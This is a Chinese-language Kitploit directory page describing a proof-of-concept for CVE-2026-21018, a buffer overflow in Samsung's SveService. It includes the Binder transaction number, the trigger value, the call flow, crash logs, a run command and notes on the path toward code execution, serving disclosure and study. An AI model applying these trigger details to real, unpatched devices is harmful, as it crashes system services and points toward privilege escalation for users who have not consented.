Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-21018 — 针对 Samsung SveService 缓冲区溢出的最小 PoC,演示了如何通过 Binder 进行越界写入,从而无需特殊权限即可使 Android 系统服务崩溃。 | Kitploit
工具/GitHubGitHub/pealeap/cve-2026-21018
Android安全漏洞分析漏洞利用逆向工程移动安全二进制利用
GitHubpealeap/cve-2026-21018

CVE-2026-21018

针对 Samsung SveService 缓冲区溢出的最小 PoC,演示了如何通过 Binder 进行越界写入,从而无需特殊权限即可使 Android 系统服务崩溃。

查看仓库
12个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

SveService 缓冲区溢出

葡萄牙语 英语


Samsung SMR May 2026

SVE-2026-0478(CVE-2026-21018)

受影响版本:Android 14、15、16

披露状态:私下披露

SveService 在 SMR May-2026 Release 1 之前的版本中存在越界写入,允许本地特权攻击者执行任意代码。

该补丁添加了适当的输入验证。


警告:这是一个概念验证(PoC),仅供教育用途。对于任何非学习用途的行为,我概不负责。请知悉。

已在 Galaxy A17 LTE (SM-A175F) 上测试


英语

摘要

在运行 Android 16 的三星设备上,系统服务 SveService(com.sec.sve)存在缓冲区溢出漏洞。该服务以 system(UID 1000)身份运行,并且可通过 Binder 无需任何特殊权限访问。

组件

组件角色版本
sveservice.apkAndroid 服务API 36
libsvejni.soARM64 原生库Build ID: 0a71afa45f8688b4314ed8e5a0aea8b9

漏洞

在 sveJNISVE_SetCodecInfo(libsvejni.so:0x21710)中,参数 i18、i19、i20(通过 AIDL 以 i106/i107/i108 形式接收,TRANSACTION_sveSetCodecInfo = 38)被直接传递给 memset、sub sp, sp, xN(alloca)和 memcpy,且没有任何大小校验。

类似函数(GetVersion、EnableSRTP、SetSRTPParams、SetGcmSrtpParams)通过 cmp w20, #0x1e; b.gt 进行校验(拒绝大于 30 字节的数据)。而 SetCodecInfo 完全不进行校验。

调用流程

root@kitploit:~
App/Script
  → ServiceManager.getService("SveService")
  → transact(38, parcel, ...)
  → ISecVideoEngineService$Stub.onTransact()
  → SecVideoEngineImpl.sveSetCodecInfo()
  → SveJniProxy.sveJNISVE_SetCodecInfo()
  → libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
       ├── memset(dst, 0, i18)
       ├── sub sp, sp, (i19+15)&~15
       ├── memset(dst, 0, i19)
       ├── sub sp, sp, (i20+15)&~15
       ├── memset(dst, 0, i20)
       ├── memcpy(dst, src, i18)
       ├── memcpy(dst, src, i19)
       └── memcpy(dst, src, i20)

使用 -1 (0xFFFFFFFF) 时的值

崩溃证据(Tombstone 07)

root@kitploit:~
Cause: stack pointer is in a non-existent map; likely due to stack overflow.
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)

#00  __memset_aarch64+160       libc.so
#01  sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908)

x2  00000000ffffffff   ← memset count = 4GB
x24 00000000ffffffff   ← i18 = -1
sp  000000707f5f7610   ← SP in invalid region
x29 000000717f5f7710   ← original frame pointer

PoC

root@kitploit:~
cd poc
./build_and_run.sh

预期输出:

root@kitploit:~
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed

备注

  • 无需 root 权限:通过 app_process 调用 ServiceManager.getService() 可以以 shell UID 身份工作。
  • 权限绕过:signatureOrSystem 权限并未生效——该服务通过 ServiceManager.addService() 直接注册,绕过了 Android 的权限机制。
  • 必然崩溃:使用 0xFFFFFFFF 的 memset 总会导致崩溃。实现 RCE 需要地址泄漏 + ROP(SM-A175F 上无 PAC)。

葡萄牙语

摘要

在运行 Android 16 的三星设备上,系统服务 SveService(com.sec.sve)存在缓冲区溢出漏洞。该服务以 system(UID 1000)身份运行,并且可通过 Binder 无需任何特殊权限访问。

组件

组件角色版本
sveservice.apkAndroid 服务API 36
libsvejni.soARM64 原生库Build ID: 0a71afa45f8688b4314ed8e5a0aea8b9

漏洞

在 sveJNISVE_SetCodecInfo(libsvejni.so:0x21710)中,参数 i18、i19、i20(通过 AIDL 以 i106/i107/i108 形式接收,TRANSACTION_sveSetCodecInfo = 38)被直接作为参数用于 memset、sub sp, sp, xN(alloca)和 memcpy,且没有任何大小校验。

类似函数(GetVersion、EnableSRTP、SetSRTPParams、SetGcmSrtpParams)通过 cmp w20, #0x1e; b.gt 进行校验(拒绝大于 30 字节的数据)。SetCodecInfo 不进行任何校验。

调用流程

root@kitploit:~
App/Script
  → ServiceManager.getService("SveService")
  → transact(38, parcel, ...)
  → ISecVideoEngineService$Stub.onTransact()
  → SecVideoEngineImpl.sveSetCodecInfo()
  → SveJniProxy.sveJNISVE_SetCodecInfo()
  → libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
       ├── memset(dst, 0, i18)
       ├── sub sp, sp, (i19+15)&~15
       ├── memset(dst, 0, i19)
       ├── sub sp, sp, (i20+15)&~15
       ├── memset(dst, 0, i20)
       ├── memcpy(dst, src, i18)
       ├── memcpy(dst, src, i19)
       └── memcpy(dst, src, i20)

使用 -1 (0xFFFFFFFF) 时的值

PoC

root@kitploit:~
cd poc
./build_and_run.sh

预期输出:

root@kitploit:~
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed

备注

  • 无需 root 权限:通过 app_process 调用 ServiceManager.getService() 可以以 shell UID 身份工作。
  • 权限:signatureOrSystem 权限并未生效——该服务通过 ServiceManager.addService() 直接注册,绕过了权限检查。
  • 必然崩溃:使用 0xFFFFFFFF 的 memset 总会导致崩溃。实现 RCE 需要地址泄漏 + ROP(SM-A175F 上无 PAC)。
下载工具
操作值效果
(i18 + 15) & ~150分配 0 字节
memset(buf, 0, i18)0x00000000FFFFFFFF尝试将 4 GB 内存清零 → SIGSEGV
sxtw(i18) 用于 memcpy0xFFFFFFFFFFFFFFFF-1 符号扩展 → 约 18 EB
操作值效果
(i18 + 15) & ~150分配 0 字节
memset(buf, 0, i18)0x00000000FFFFFFFF尝试将 4 GB 内存清零 → SIGSEGV
sxtw(i18) 用于 memcpy0xFFFFFFFFFFFFFFFF-1 符号扩展 → 约 18 EB